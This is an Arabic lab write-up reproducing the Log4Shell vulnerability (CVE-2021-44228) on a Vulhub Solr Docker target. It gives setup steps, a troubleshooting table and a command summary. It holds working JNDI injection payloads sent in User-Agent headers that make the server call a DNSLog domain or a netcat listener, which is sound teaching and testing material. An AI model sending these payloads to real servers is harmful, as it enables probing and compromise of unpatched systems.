
سجل كامل لإعادة إنتاج الثغرة CVE-2021-44228 (بما في ذلك إعداد البيئة والتحقق من التشغيل)
يعتمد هذا السجل على بيئة التدريب Apache Solr 8.11.0 التي يوفرها Vulhub، ويُكرر بالكامل ثغرة حقن JNDI في Log4j2، مع التحقق من وجود الثغرة بنجاح عبر DNSLog والاستماع المحلي LDAP.
vulhub/log4j/CVE-2021-44228)نظرًا لعدم استقرار الاتصال المباشر بـ GitHub، تم استخدام مرآة Gitee للتسريع:
cd D:\\SecWork
git clone https://gitee.com/hanxu2486/vulhub.git
قم بتكوين مسرع صور Alibaba Cloud الخاص (سجل الدخول إلى خدمة صور الحاويات للحصول على عنوانك الشخصي):
افتح Docker Desktop → Settings → Docker Engine
قم بتعديل registry-mirrors:
{
"registry-mirrors": ["https://xxxxx.mirror.aliyuncs.com"]
}
انقر على Apply & Restart
إذا كنت لا تزال تواجه مهلة TLS handshake، فادخل إلى WSL ونفذ sudo hwclock -s لمزامنة الوقت.
cd D:\SecWork\vulhub\log4j\CVE-2021-44228
docker-compose up -d
المخرجات تظهر النجاح:
✔ Image vulhub/solr:8.11.0 Pulled 117.7s
✔ Container cve-2021-44228-solr-1 Started
بتصفح http://localhost:8983/solr تظهر واجهة إدارة Solr، تكون البيئة جاهزة.
لا يحتوي Solr افتراضيًا على core، يجب إنشاؤه يدويًا:
curl "http://localhost:8983/solr/admin/cores?action=CREATE&name=test&configSet=_default"
يعيد "status":0, تم إنشاء core test بنجاح.
افتح المتصفح وتصفح http://dnslog.cn، انقر على Get SubDomain، ستحصل على نطاق مؤقت مثل abc123.dnslog.cn
نفذ في سطر الأوامر (استخدم curl.exe لتجنب تداخل أسماء PowerShell المستعارة):
curl.exe -H 'User-Agent: ${jndi:ldap://abc123.dnslog.cn/test}' 'http://localhost:8983/solr/test/select?q=*:*'
عد إلى صفحة http://dnslog.cn، انقر على Refresh Record، ستظهر فورًا سجلات تحليل DNS، مما يثبت وجود الثغرة.
افتح الاستماع في WSL: nc -lvp 1389
احصل على IP المضيف (قم بتنفيذ ipconfig في Windows PowerShell، ابحث عن IP بطاقة الشبكة الافتراضية WSL مثل 172.30.208.1)
أرسل طلبًا خبيثًا يحتوي على IP المحلي:
curl.exe -H 'User-Agent: ${jndi:ldap://172.30.208.1:1389/test}' 'http://localhost:8983/solr/test/select?q=*:*'
لاحظ نافذة nc، تعرض معلومات الاتصال:
connect to [172.30.208.1] from localhost [127.0.0.1] 54321
يثبت أن Solr قام بنجاح باستعلام LDAP نحو جهاز الهجوم، وتكرار الثغرة تم بنجاح.
الوظيفة JndiLookup التي توفرها Apache Log4j2 تسمح باستخدام العناصر النائبة بتنسيق ${jndi:ldap://...} في رسائل السجل. عندما يتم تسجيل رسالة السجل، يقوم Log4j2 بتحليل هذا العنصر النائب ومحاولة الوصول إلى خادم LDAP عن بعد عبر JNDI. يمكن للمهاجم إعداد خادم LDAP خبيث يعيد حمولة Java غير المسلسلة (deserialization payload) لتحقيق تنفيذ التعليمات البرمجية عن بعد.
في هذا التكرار، من خلال تعيين رأس User-Agent إلى حمولة خبيثة، سجل Solr معلومات هذا الرأس أثناء معالجة الطلب، مما أدى إلى تشغيل استعلام JNDI، وأثبت وجود الثغرة.
✅ تم بنجاح إعداد بيئة الثغرة Vulhub، متغلبًا على مشاكل متنوعة تحت الشبكة المحلية (اختطاف DNS، تسريع المرآة، مزامنة وقت WSL، إلخ).
✅ تم تشغيل الثغرة بشكل مستقل، والتحقق من حقن JNDI عبر طريقتي DNSLog والاستماع المحلي.
✅ تم فهم عميق لمبدأ ثغرة Log4Shell وسلسلة هجوم حقن JNDI.
✅ تم اكتساب خبرة عملية في استكشاف أخطاء شبكة Docker وتكوين WSL2 وتنظيف وكيل Git.
| ظاهرة المشكلة | السبب الجذري | طريقة الحل |
|---|---|---|
| git clone 502 / انتهاء مهلة الاتصال | اختطاف DNS / تداخل الوكيل | استخدم مرآة Gitee، قم بمسح وكيل Git، قم بتحديث DNS |
| سحب صورة Docker 429 | تقييد معدل مصدر الصور العامة | قم بتكوين مسرع Alibaba Cloud الخاص |
| انتهاء مهلة TLS handshake | عدم مزامنة وقت WSL2 | نفذ sudo hwclock -s لمزامنة الوقت |
| فشل تشغيل الثغرة | لم يتم إنشاء core أو خطأ في موقع الحمولة | أنشئ core، استخدم رأس User-Agent |
# استنساخ Vulhub (باستخدام مرآة Gitee)
git clone https://gitee.com/hanxu2486/vulhub.git
# الدخول إلى دليل الثغرة
cd D:\SecWork\vulhub\log4j\CVE-2021-44228
# تشغيل البيئة
docker-compose up -d
# إنشاء Solr Core
curl "http://localhost:8983/solr/admin/cores?action=CREATE&name=test&configSet=_default"
# التحقق عبر DNSLog
curl -H 'User-Agent: ${jndi:ldap://your.dnslog.cn/test}' 'http://localhost:8983/solr/test/select?q=*:*'
# التحقق عبر الاستماع المحلي (تشغيل nc في WSL)
nc -lvp 1389
curl -H 'User-Agent: ${jndi:ldap://your.wsl.ip:1389/test}' 'http://localhost:8983/solr/test/select?q=*:*'
# إيقاف البيئة
docker-compose down
مشروع Vulhub الرسمي
تفاصيل CVE-2021-44228
منصة DNSLog
تاريخ الكتابة: يونيو 2026
المؤلف: HanXu
عنوان المستودع: https://github.com/hmxh123/Log4Shell-Vulnerability-Replication